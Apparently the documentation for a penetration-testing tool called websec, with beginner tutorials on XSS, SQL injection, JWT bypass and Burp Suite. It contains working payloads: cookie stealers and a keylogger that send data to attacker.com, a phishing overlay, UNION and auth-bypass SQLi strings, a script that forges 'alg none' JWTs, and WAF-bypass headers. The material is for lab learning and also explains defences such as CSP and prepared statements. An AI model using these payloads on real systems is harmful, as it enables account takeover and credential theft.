def generate_payloads(base: list, waf_evasion: bool) -> list:
    payloads = list(base)
    if waf_evasion:
        for p in base:
            for name, mutate in WAF_MUTATIONS.items():
                payloads.append(mutate(p))
    return payloads

Internals

Cross-Site Scripting (XSS) — From Zero to Attack

Start here if you've never seen an XSS attack before. We'll go from "what is HTML" to stealing session cookies in a browser.

What is HTML and Why Can It Be Dangerous?

HTML (HyperText Markup Language) is the language browsers render into web pages. When a browser loads a page it processes HTML tags as instructions: <b> makes text bold, <img src="..."> loads an image, <script> runs JavaScript code. The problem: browsers can't tell the difference between HTML/JS that the developer intentionally wrote and HTML/JS that an attacker smuggled in via user input.

## Normal page — developer writes a greeting message:
<p>Welcome back, John!</p>

## Vulnerable page — developer puts username from URL directly into HTML:
<p>Welcome back, {username_from_url}!</p>

## Attacker's URL:
https://site.com/profile?name=<script>alert('XSS')</script>

## Page rendered by browser:
<p>Welcome back, <script>alert('XSS')</script>!</p>
##                ↑ browser sees this as a script tag and RUNS IT
## Result: alert box pops up — attacker controls JavaScript execution on the page

Why XSS Matters — What JavaScript Can Do

JavaScript running in a browser has almost full access to that page's context:

## Cookie theft — the most common XSS payload
<script>
  new Image().src = "https://attacker.com/steal?c=" + document.cookie;
</script>
## Victim's browser makes a GET request to attacker.com with the victim's cookies
## Attacker sees in their server log: /steal?c=session=abc123def456
## Attacker sets that cookie in their browser → they ARE the victim on the site

## Keylogger — capture everything the victim types
<script>
  document.addEventListener('keydown', function(e) {
    new Image().src = "https://attacker.com/keys?k=" + e.key;
  });
</script>

## Fake login form overlay — credential phishing
<script>
  document.body.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff">' +
    '<form action="https://attacker.com/phish">' +
    '<input name="user"><input type="password" name="pass"><button>Login</button>' +
    '</form></div>';
</script>
## Victim thinks they're logging into the real site — credentials go to attacker

## Redirect to malware download
<script>window.location = "https://attacker.com/malware.exe";</script>

The Three Types of XSS

## Type 1: Reflected XSS — payload is in the URL, runs once
https://site.com/search?q=<script>steal_cookies()</script>
## The page "reflects" the search term back into HTML without escaping
## Attack: send this URL to victim via email/Slack/SMS
## When victim clicks: their browser runs the script in the context of site.com

## Type 2: Stored XSS (Persistent) — payload saved in database, runs for every visitor
## Attacker posts a comment on a blog:
Comment: <script>steal_cookies()</script>
## Database stores this literally. Every user who loads the page with this comment
## gets their cookies stolen. Most dangerous type — one post, infinite victims.

## Type 3: DOM-Based XSS — payload never hits the server, JS processes it client-side
https://site.com/page#<img src=x onerror=alert(1)>
## The # fragment is not sent to the server
## Vulnerable JS reads location.hash and inserts it into innerHTML:
document.getElementById('content').innerHTML = location.hash.substring(1);
## Browser processes the fragment — XSS fires entirely on the client

XSS — Encoding, Contexts, and Bypass

Cross-Site Scripting works when user input is reflected into an HTML page without proper escaping. The injection context (HTML body, attribute, JS, URL) determines which encoding bypass works.

## Context 1: HTML body injection
<p>Welcome, USERINPUT</p>

Payload: <script>alert(1)</script>
Result:  <p>Welcome, <script>alert(1)</script></p>   ← XSS fires

## Context 2: HTML attribute injection
<input value="USERINPUT">

Payload: " onmouseover="alert(1)
Result:  <input value="" onmouseover="alert(1)">   ← event handler injected

## Context 3: JavaScript string injection
<script>var name = "USERINPUT";</script>

Payload: ";alert(1)//
Result:  <script>var name = "";alert(1)//";</script>   ← JS alert fires

## Context 4: URL parameter reflected into href
<a href="USERINPUT">click</a>

Payload: javascript:alert(1)
Result:  <a href="javascript:alert(1)">click</a>   ← fires on click

HTML Entity Bypass Techniques

## If < and > are entity-encoded (&lt; &gt;), try attribute context:
Payload: " autofocus onfocus="alert(1)
## < and > not needed — attribute injected without tags

## If quotes are blocked, try without:
<img src=x onerror=alert(1)>
## HTML5 allows unquoted attribute values — no quotes needed

## HTML entity encoding of the payload (to bypass input filters):
<script>alert(1)</script>

Decimal:  &#60;script&#62;alert(1)&#60;/script&#62;
Hex:      &#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;
## Browser decodes entities before rendering — may bypass input filter that blocks raw <>

## JavaScript unicode escape:

## Works inside JS string context: JS engine decodes \uXXXX before executing

Content Security Policy — What Stops XSS

## Strong CSP prevents XSS execution even if injection succeeds:
Content-Security-Policy: default-src 'self'; script-src 'nonce-ABC123'; object-src 'none'

## 'nonce-ABC123': only <script nonce="ABC123"> tags execute
## Injected <script> without nonce = blocked by browser
## websec reports missing/weak CSP as a HIGH finding:
missing:        no CSP header at all
unsafe-inline:  script-src 'unsafe-inline' → any inline script runs (XSS possible)
unsafe-eval:    script-src 'unsafe-eval' → eval() / Function() work → XSS amplified
wildcard:       script-src * → any external source allowed

Extend

Customization & Extension

Adding a Custom Vulnerability Scanner

# websec.py — add to SCANNERS dict
def scan_graphql_introspection(url: str, session: requests.Session, params: dict) -> list:
    """Detect exposed GraphQL introspection (leaks full API schema)."""
    findings = []
    gql_endpoints = ["/graphql", "/api/graphql", "/gql", "/v1/graphql"]

    introspection_query = '''
    {"query": "{__schema{types{name}}}"}
    '''

    for ep in gql_endpoints:
        target = url.rstrip("/") + ep
        try:
            r = session.post(target, json={"query": "{__schema{types{name}}}"},
                             timeout=params.get("timeout", 10))
            if r.status_code == 200 and "__schema" in r.text:
                findings.append({
                    "type": "graphql_introspection",
                    "url": target,
                    "severity": "MEDIUM",
                    "description": "GraphQL introspection enabled — full API schema exposed",
                    "evidence": r.text[:200],
                })
        except Exception:
            continue

    return findings

SCANNERS = {
    "sqli":          scan_sqli,            # existing
    "xss":           scan_xss,             # existing
    "graphql":       scan_graphql_introspection,  # yours
}

# Usage: set operation scan; set check_graphql true; run <url>

Adding a Custom WAF Bypass Header Set

# Headers that some WAFs pass to the backend without inspection
BYPASS_HEADERS = {
    "X-Forwarded-For": "127.0.0.1",
    "X-Real-IP":       "127.0.0.1",
    "X-Originating-IP": "127.0.0.1",
    "X-Remote-IP":     "127.0.0.1",
    "X-Remote-Addr":   "127.0.0.1",
    "X-Custom-IP-Authorization": "127.0.0.1",
    "X-Forwarded-Host": "localhost",
    "X-Host":          "localhost",
    "X-ProxyUser-IP":  "127.0.0.1",
    # Some WAFs allow requests that appear to come from the server's own IP
}

# Inject into websec session:
session = requests.Session()
session.headers.update(BYPASS_HEADERS)
# Now all requests carry these headers — useful for testing 403 bypass

Study

Learning Path & Resources

Use these resources to go deeper on every concept websec touches. The path below is ordered — start at the top if you're new, skip ahead if you already have the foundation.

Step 1: Understand the Web (Foundations)

ResourceTypeWhy
MDN Web Docs — HTTP overviewFree referenceUnderstand HTTP methods, headers, status codes, cookies — the building blocks websec attacks
How HTTPS Works (howhttps.works)Free visual guideUnderstand TLS — why traffic looks encrypted and how certificates work
OWASP Top 10 (owasp.org/www-project-top-ten)Free specThe 10 most critical web vulnerabilities — websec covers all of them

Step 2: Hands-On Labs (Intentionally Vulnerable Apps)

Platform / AppCostFocus
PortSwigger Web Security Academy (portswigger.net/web-security)FreeThe best free web security course online. Covers SQLi, XSS, SSRF, XXE, CSRF, IDOR, deserialization. Interactive labs with built-in hints. Run websec against their lab URLs for real practice.
DVWA (Damn Vulnerable Web App)Free / self-hostedIntentionally vulnerable PHP app. Run locally via Docker: docker run -p 80:80 vulnerables/web-dvwa. Use websec's sqli/xss/dirb against it.
HackTheBox (hackthebox.com)Free tier + paidWeb challenges and machines. Filter by "Web" category. Start with Easy difficulty.
TryHackMe (tryhackme.com)Free tier + paidWeb paths include "OWASP Top 10" and "Web Fundamentals" — structured learning with guided rooms.
OWASP WebGoat (github.com/WebGoat/WebGoat)Free / self-hostedExplains each vulnerability then lets you exploit it. Good for understanding why each attack works.

Step 3: Go Deeper — Books and Courses

Book / CourseLevelCovers
The Web Application Hacker's Handbook (Stuttard & Pinto)IntermediateComprehensive reference covering all major web vulns. Dated (2011) but foundational. Chapter 9 (SQLi) and 12 (XSS) are still the best explanations anywhere.
Real-World Bug Hunting (Yaworski, No Starch Press)Beginner-IntermediateReal bug bounty writeups for each vulnerability class. Teaches you to think like a bug hunter.
OWASP Testing Guide v4 (owasp.org)IntermediateFree PDF — systematic methodology for testing every web vuln. Use it as a checklist alongside websec.
Bug Bounty Bootcamp (Vickie Li, No Starch)IntermediateCovers how to find and report web vulns on real programs. Excellent chapter on recon.

Step 4: Reference — While Using websec

ResourceUse For
PayloadsAllTheThings (github.com/swisskyrepo/PayloadsAllTheThings)Massive payload list for SQLi, XSS, SSRF, XXE, command injection, file inclusion — reference while testing
HackTricks (book.hacktricks.xyz)Cheatsheets and techniques for every type of web attack. Especially good for SQL injection by database type.
GTFOBins (gtfobins.github.io)Unix binaries that can be used for command execution, file read/write — useful for post-exploitation after getting command injection
SQLMap cheat sheetWhen websec detects SQLi, SQLMap can automate full extraction — understand its flags to control output
OWASP XSS Filter Evasion Cheat SheetWhen websec XSS detection fails, this lists every known browser-specific bypass technique

Practice Path — Using websec + Labs Together

## Recommended practice progression using VANTA + external labs

Week 1: Foundations
  Read: OWASP Top 10 (owasp.org) — understand each category at a high level
  Lab: DVWA in Docker on your Kali VM
  Run: websec against DVWA (http://localhost) — see what it finds automatically

Week 2: SQL Injection Mastery
  Study: PortSwigger SQLi labs (portswigger.net/web-security/sql-injection)
  Lab: HackTheBox "Unified" machine (has MongoDB injection)
  Run: websec sqli on each PortSwigger lab URL
  Deep: read "SQL Injection" chapter in Web App Hacker's Handbook

Week 3: XSS
  Study: PortSwigger XSS labs — 30+ labs covering reflected, stored, DOM
  Lab: DVWA XSS (all difficulty levels)
  Run: websec xss_scan on each lab
  Deep: try bypassing WAF manually after websec finds the injection point

Week 4: Full Chain
  Lab: HackTheBox Easy web machine
  Process: recon → dirb → sqli → xss → find credentials → RCE
  Use websec for each phase; understand WHAT it's doing, not just THAT it works

Author

About

dj
dezthejackal
VANTA Contributor · Web Security
Wrote websec for VANTA. Focused on web security research, OSINT, and bug bounty tooling.

B1 SQL Injection From Scratch

What is SQL Injection and Why Does It Work

SQL is the language databases use to store and retrieve data. Almost every website with a login form, search box, or user profile stores that data in a database using SQL. SQL injection happens when a web application takes user input and pastes it directly into a SQL query without properly validating it. Your input stops being treated as data and starts being treated as a SQL command.

How Input Reaches the Query
A login form sends your username and password to the server. A vulnerable server builds a SQL query by concatenating your input directly: SELECT * FROM users WHERE username='[your input]'. If you type a single quote ', it breaks the SQL syntax because the database now sees an unmatched quote. This error is your signal that injection may be possible.
Error-Based Injection
The database error message is returned to the user in the HTTP response. This tells you the database type (MySQL, MSSQL, Oracle) and sometimes internal details. You can force errors that reveal data. Example: MySQL's extractvalue() function returns data in the error message itself.
Blind Injection
No error messages shown. You infer data from true/false differences in the page response. Boolean-based: inject a condition and check if the page changes. Time-based: inject SLEEP(5) and measure if the response is 5 seconds slower. Both require many requests to extract data one bit at a time. sqlmap automates this.
UNION Attack
SQL's UNION operator combines results from two queries. If you can inject a UNION statement, you can append a second query that reads from any table in the database. First you need to find the number of columns with ORDER BY testing, then retrieve data: UNION SELECT username,password,3 FROM users--.
-- Test for injection: add a single quote and look for an error
https://target.com/login?user=admin'

-- Auth bypass: comment out the password check entirely
username: admin'--
-- The resulting query becomes:
-- SELECT * FROM users WHERE username='admin'--' AND password='...'
-- Everything after -- is a comment in SQL

-- UNION attack: find column count first
https://target.com/products?id=1 ORDER BY 1--    (no error)
https://target.com/products?id=1 ORDER BY 2--    (no error)
https://target.com/products?id=1 ORDER BY 3--    (ERROR = 2 columns exist)

-- Then extract data from the users table
https://target.com/products?id=0 UNION SELECT username,password FROM users--
Why this still exists in 2026: Developers often build query strings with string concatenation in a hurry and skip parameterized queries. Parameterized queries (also called prepared statements) pass user input separately from the query structure, so your input can never be interpreted as SQL commands. They are the correct fix. SQLi is not a new attack - it has existed since 1998. Yet it remains the most commonly found web vulnerability in real-world penetration tests.

B2 Cross-Site Scripting (XSS)

What is XSS and Why Cookies Matter

XSS is a vulnerability where an attacker injects JavaScript into a web page that other users then see. Your browser trusts JavaScript that comes from a website - it runs it automatically. If an attacker can get their JavaScript stored on a legitimate site, every visitor's browser will run it. This is how session cookies get stolen.

Stored XSS
Your malicious script is saved in the database (comment, profile field, message). Every user who loads that page executes your script. Highest impact - self-propagating, no social engineering needed after initial injection. Found in comment sections, forums, user bios.
Reflected XSS
The script is in the URL. The server reflects it back in the response without storing it. The victim must click a crafted link. Common in search bars, error messages, and URL parameters that get displayed in the page. You send the victim a link containing the payload.
DOM XSS
The vulnerability is entirely in client-side JavaScript. The server is never involved in executing the payload. Dangerous JavaScript sinks: innerHTML, eval(), document.write(), location.href. Static code scanners often miss DOM XSS because the payload never touches the server.
Cookie Theft
Your browser stores session cookies that prove you are logged in. XSS can read these with document.cookie and send them to an attacker's server. The attacker pastes the cookie into their browser and is immediately logged in as you - no password needed. The HttpOnly flag prevents JavaScript from reading cookies and stops this attack.
CSP (Content Security Policy)
An HTTP header that tells browsers which sources of JavaScript to trust. Example: script-src 'self' means only run scripts loaded from the same domain. Inline scripts are blocked. This stops most XSS even if the injection exists. Bypass requires finding a trusted domain that allows script loading (CDN abuse).
XSS Keylogger
Beyond cookie theft, XSS can attach a keydown event listener to capture every keystroke and stream them to an attacker server. Victims will type passwords, credit card numbers, and messages - all captured in real time through their own browser.
<!-- Basic test payload - if an alert box appears, XSS is confirmed -->
<script>alert(1)</script>

<!-- Cookie stealer - sends victim's cookies to your server -->
<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>

<!-- Filter bypass - when <script> tags are blocked -->
<img src=x onerror="alert(document.cookie)">
<svg onload="fetch('http://attacker.com/?c='+btoa(document.cookie))">

<!-- DOM XSS example - URL fragment reaching innerHTML -->
  document.getElementById('msg').innerHTML = location.hash.substr(1);
  URL: https://target.com/page#<img src=x onerror=alert(1)>

B3 Authentication Bypass Techniques

Getting In Without a Valid Password

Authentication is the process of proving who you are. Multiple layers of authentication exist in modern web apps - login forms, JWTs (JSON Web Tokens), session cookies, and API keys. Each layer can have implementation flaws that let you bypass or forge your identity.

SQL Auth Bypass
Classic technique: enter admin'-- as the username. The SQL query becomes WHERE username='admin'--' AND password='...'. The password check is commented out. The database returns the admin user's row and you are logged in. Still found in legacy applications.
JWT - Algorithm: None
JWT tokens have three parts: header, payload, signature. The header specifies the signing algorithm. Some vulnerable libraries accept "alg": "none" which means no signature verification. You modify the payload (change "role": "user" to "role": "admin"), set the algorithm to none, strip the signature, and the server accepts the forged token.
JWT - Weak Secret
JWTs signed with HS256 use a secret key. If the secret is weak (e.g. "secret", "password", "jwt"), you can brute-force it with hashcat or jwt-cracker. Once you have the secret, you can forge any JWT token the server will trust. Tool: hashcat -m 16500 token.txt wordlist.txt.
Session Fixation
Some applications allow you to set your own session ID before logging in. The attacker creates a known session ID, tricks the victim into using it (via link), the victim logs in, and now the attacker's known session ID is authenticated. The server must generate a new session ID upon login to prevent this.
# Decode a JWT to inspect its payload (base64 - no decryption needed)
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.sig" \
  | cut -d. -f2 | base64 -d 2>/dev/null

# Crack a JWT secret with hashcat
echo "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.XYZ" > jwt.txt
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# Forge a JWT with "none" algorithm using python
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=')
payload = base64.urlsafe_b64encode(json.dumps({'user':'admin','role':'admin'}).encode()).rstrip(b'=')
print(header.decode() + '.' + payload.decode() + '.')
"

B4 Burp Suite and Proxy Interception

Reading and Replaying HTTP Traffic

Burp Suite is a web application security testing platform. Its core feature is a proxy - it sits between your browser and the target web server, letting you intercept, inspect, and modify every HTTP request and response before it reaches its destination. This is how web security testers actually interact with applications.

Proxy Setup
Burp listens on 127.0.0.1:8080 by default. Configure your browser to use this as its HTTP proxy. Install Burp's CA certificate in your browser to intercept HTTPS traffic. Firefox: Preferences - Network Settings - Manual Proxy - 127.0.0.1 port 8080.
Intercept Mode
With interception ON, every request your browser makes pauses in Burp waiting for your approval. You can read it, modify any parameter (cookies, POST body, headers), and then forward it. This is how you manually test for SQL injection - add a quote to a parameter and watch the response.
Repeater
Send any captured request to Repeater. You can replay it as many times as you want with modifications and see the response each time. Ideal for testing SQLi payloads, fuzzing parameters, or manually probing API endpoints without using the browser.
Intruder
Automated fuzzing tool. Mark a parameter as an insertion point, provide a wordlist, and Intruder fires every word at that parameter. Used for credential stuffing, parameter fuzzing, and finding hidden directories. (Community Edition rate-limited - use ffuf or wfuzz for unrestricted speed.)
HTTP History
Burp logs every request your browser makes. Even with interception OFF, the history shows all API calls, hidden endpoints, and parameters that the browser sends automatically. Reviewing the history after navigating an application reveals the full attack surface.
Scanner (Pro)
Burp Pro's active scanner automatically tests every parameter for SQLi, XSS, XXE, SSRF, and hundreds of other vulnerabilities. The Community Edition does not include the scanner - use manual testing or run sqlmap and nikto alongside it.
# Start Burp from terminal (Community Edition)
burpsuite &

# Configure browser proxy via CLI (Firefox example)
firefox --proxy-server="127.0.0.1:8080" &

# Or use curl through Burp proxy to capture API requests
curl -x http://127.0.0.1:8080 -k https://target.com/api/users

# Use websec module with Burp proxy
python3 vanta.py websec --target https://target.com --proxy http://127.0.0.1:8080